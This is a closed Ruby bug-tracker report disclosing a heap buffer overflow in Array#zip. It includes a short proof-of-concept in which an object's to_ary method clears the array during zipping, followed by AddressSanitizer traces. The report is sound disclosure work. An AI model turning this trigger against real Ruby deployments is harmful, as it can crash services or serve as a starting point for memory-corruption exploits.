Project

General

Profile

Actions

Bug #22319

closed

heap buffer overflow triggered by array's zip function

Bug #22319: heap buffer overflow triggered by array's zip function

Added by danielchong (Daniel Chong) 5 days ago. Updated about 11 hours ago.

Status:
Closed
Assignee:
-
Target version:
-
[ruby-core:126731]

Description

Hi, I found a heap buffer overflow affecting array's zip functionality.

PoC:

a = (1..3000).to_a
evil = Object.new; $a = a
def evil.to_ary; $a.clear; [1,2,3]; end
a.zip(evil) 

ASAN output (truncated):
ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 8 ...
#0 RARRAY_AREF internal/array.h:153
#1 rb_ary_zip array.c:4850 <-- USE (stale len)
0x... is located 0 bytes after 256-byte region [...]
allocated by thread T0 here:
#4 ary_heap_realloc array.c:396
#5 ary_resize_capa array.c:439
#6 rb_ary_clear array.c:4988 <-- SHRINK (via arg's to_ary)
...
#18 convert_type_with_id object.c:3303 <-- take_items -> to_ary

Actions

Also available in: PDF Atom